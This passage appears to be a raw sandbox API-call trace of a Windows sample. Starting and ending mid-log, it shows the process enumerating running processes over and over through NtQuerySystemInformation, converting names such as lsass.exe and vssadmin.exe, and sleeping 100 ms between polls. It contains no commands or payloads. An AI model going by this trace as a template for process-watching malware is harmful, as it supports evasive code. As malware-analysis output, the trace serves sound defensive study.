Compression", AllocateDestinationString=1 | out: DestinationString="Memory Compression") returned 0x0 [0180.841] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x13) returned 0x33d1ab8 [0180.841] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0180.841] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xe) returned 0x33c1de0 [0180.841] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0180.841] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1de0 [0180.841] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="SearchUI.exe", AllocateDestinationString=1 | out: DestinationString="SearchUI.exe") returned 0x0 [0180.841] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e88 [0180.841] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="ShellExperienceHost.exe", AllocateDestinationString=1 | out: DestinationString="ShellExperienceHost.exe") returned 0x0 [0180.841] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d17f8 [0180.841] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="RuntimeBroker.exe", AllocateDestinationString=1 | out: DestinationString="RuntimeBroker.exe") returned 0x0 [0180.841] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x12) returned 0x33d1b18 [0180.841] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="WmiPrvSE.exe", AllocateDestinationString=1 | out: DestinationString="WmiPrvSE.exe") returned 0x0 [0180.841] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1de0 [0180.841] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0180.841] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e70 [0180.841] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0180.841] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e88 [0180.841] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="vssadmin.exe", AllocateDestinationString=1 | out: DestinationString="vssadmin.exe") returned 0x0 [0180.841] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e40 [0180.841] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0180.841] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0180.841] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="dllhost.exe", AllocateDestinationString=1 | out: DestinationString="dllhost.exe") returned 0x0 [0180.841] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e28 [0180.841] Sleep (dwMilliseconds=0x64) [0181.267] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x1024) returned 0x33d60f0 [0181.267] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0181.268] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x2048) returned 0x33d60f0 [0181.268] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0181.268] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x306c) returned 0x33d60f0 [0181.268] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0181.268] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x4090) returned 0x33d60f0 [0181.268] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0181.268] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x50b4) returned 0x33d60f0 [0181.268] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0181.268] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x60d8) returned 0x33d60f0 [0181.268] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0181.269] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x70fc) returned 0x33d60f0 [0181.269] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0181.269] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x8120) returned 0x33d60f0 [0181.269] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0181.269] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x9144) returned 0x33d60f0 [0181.269] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0181.269] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xa168) returned 0x33d60f0 [0181.269] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0181.270] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xb18c) returned 0x33d60f0 [0181.270] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0181.270] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xc1b0) returned 0x33d60f0 [0181.270] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0181.270] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xd1d4) returned 0x33d60f0 [0181.270] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0181.271] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xe1f8) returned 0x33d60f0 [0181.271] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0181.271] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xf21c) returned 0x33d60f0 [0181.271] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0181.271] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x10240) returned 0x33d60f0 [0181.271] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0181.271] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x11264) returned 0x33d60f0 [0181.271] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0181.272] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x12288) returned 0x33d60f0 [0181.272] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0181.272] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x132ac) returned 0x33d60f0 [0181.272] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0181.273] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x142d0) returned 0x33d60f0 [0181.273] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0181.273] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x152f4) returned 0x33d60f0 [0181.273] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0181.273] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x16318) returned 0x33d60f0 [0181.273] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0x0 [0181.274] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="System", AllocateDestinationString=1 | out: DestinationString="System") returned 0x0 [0181.274] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x7) returned 0x33f07b0 [0181.274] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="smss.exe", AllocateDestinationString=1 | out: DestinationString="smss.exe") returned 0x0 [0181.274] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x9) returned 0x33c1e58 [0181.274] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0181.274] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1df8 [0181.274] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="wininit.exe", AllocateDestinationString=1 | out: DestinationString="wininit.exe") returned 0x0 [0181.274] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0181.274] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0181.274] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1e58 [0181.274] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="winlogon.exe", AllocateDestinationString=1 | out: DestinationString="winlogon.exe") returned 0x0 [0181.274] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e28 [0181.274] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="services.exe", AllocateDestinationString=1 | out: DestinationString="services.exe") returned 0x0 [0181.274] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e88 [0181.274] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="lsass.exe", AllocateDestinationString=1 | out: DestinationString="lsass.exe") returned 0x0 [0181.274] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xa) returned 0x33c1de0 [0181.274] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0181.274] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x10) returned 0x33c1e70 [0181.274] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0181.274] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x10) returned 0x33c1de0 [0181.275] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0181.275] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0181.275] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0181.275] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e28 [0181.275] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="dwm.exe", AllocateDestinationString=1 | out: DestinationString="dwm.exe") returned 0x0 [0181.275] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x8) returned 0x33f0740 [0181.275] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0181.275] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0181.275] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0181.275] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e10 [0181.275] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0181.275] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0181.275] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0181.275] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0181.275] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0181.275] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0181.275] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0181.275] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e10 [0181.275] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0181.275] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0181.275] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0181.275] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1df8 [0181.275] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0181.275] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0181.275] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0181.275] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1de0 [0181.276] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="spoolsv.exe", AllocateDestinationString=1 | out: DestinationString="spoolsv.exe") returned 0x0 [0181.276] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e70 [0181.276] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0181.276] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e28 [0181.276] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="audiodg.exe", AllocateDestinationString=1 | out: DestinationString="audiodg.exe") returned 0x0 [0181.276] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e58 [0181.276] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="sihost.exe", AllocateDestinationString=1 | out: DestinationString="sihost.exe") returned 0x0 [0181.276] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xb) returned 0x33c1de0 [0181.276] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0181.276] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e10 [0181.276] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="OfficeClickToRun.exe", AllocateDestinationString=1 | out: DestinationString="OfficeClickToRun.exe") returned 0x0 [0181.276] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x15) returned 0x33d1a18 [0181.276] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="SecurityHealthService.exe", AllocateDestinationString=1 | out: DestinationString="SecurityHealthService.exe") returned 0x0 [0181.276] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x1a) returned 0x33cbdd0 [0181.276] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="Memory Compression", AllocateDestinationString=1 | out: DestinationString="Memory Compression") returned 0x0 [0181.276] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x13) returned 0x33d1ab8 [0181.276] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0181.276] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xe) returned 0x33c1e40 [0181.276] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0181.276] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1df8 [0181.276] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="SearchUI.exe", AllocateDestinationString=1 | out: DestinationString="SearchUI.exe") returned 0x0 [0181.276] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1df8 [0181.276] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="ShellExperienceHost.exe", AllocateDestinationString=1 | out: DestinationString="ShellExperienceHost.exe") returned 0x0 [0181.276] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x18) returned 0x33d1838 [0181.276] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="RuntimeBroker.exe", AllocateDestinationString=1 | out: DestinationString="RuntimeBroker.exe") returned 0x0 [0181.276] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x12) returned 0x33d1b18 [0181.277] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="WmiPrvSE.exe", AllocateDestinationString=1 | out: DestinationString="WmiPrvSE.exe") returned 0x0 [0181.277] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e40 [0181.277] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0181.277] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1df8 [0181.277] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0181.277] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1e58 [0181.277] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="vssadmin.exe", AllocateDestinationString=1 | out: DestinationString="vssadmin.exe") returned 0x0 [0181.277] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xd) returned 0x33c1df8 [0181.277] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0181.277] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e40 [0181.277] RtlUnicodeStringToAnsiString (in: DestinationString=0x35df894, SourceString="dllhost.exe", AllocateDestinationString=1 | out: DestinationString="dllhost.exe") returned 0x0 [0181.277] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0xc) returned 0x33c1e70 [0181.277] Sleep (dwMilliseconds=0x64) [0181.612] RtlAllocateHeap (HeapHandle=0x33b0000, Flags=0x8, Size=0x1024) returned 0x33d60f0 [0181.612] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0181.612] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x2048) returned 0x33d60f0 [0181.612] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0181.612] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x306c) returned 0x33d60f0 [0181.612] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0181.613] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x4090) returned 0x33d60f0 [0181.613] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0181.613] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x50b4) returned 0x33d60f0 [0181.613] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0181.613] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x60d8) returned 0x33d60f0 [0181.613] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0181.613] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x70fc) returned 0x33d60f0 [0181.613] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0181.613] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x8120) returned 0x33d60f0 [0181.613] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0181.614] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x9144) returned 0x33d60f0 [0181.614] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0181.614] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xa168) returned 0x33d60f0 [0181.614] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0181.614] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xb18c) returned 0x33d60f0 [0181.614] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0181.614] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xc1b0) returned 0x33d60f0 [0181.614] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0181.615] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xd1d4) returned 0x33d60f0 [0181.615] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0181.615] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xe1f8) returned 0x33d60f0 [0181.615] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0181.615] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0xf21c) returned 0x33d60f0 [0181.615] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0181.616] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x10240) returned 0x33d60f0 [0181.616] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0181.616] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x11264) returned 0x33d60f0 [0181.616] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0181.616] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x12288) returned 0x33d60f0 [0181.616] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0181.616] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x132ac) returned 0x33d60f0 [0181.617] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x33d60f0, ResultLength=0x0) returned 0xc0000004 [0181.617] RtlReAllocateHeap (Heap=0x33b0000, Flags=0x8, Ptr=0x33d60f0, Size=0x142d0) returned 0x33d60f0 [0181.617] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33d60f0, Length=0x142d0, ResultLength=0x0 | 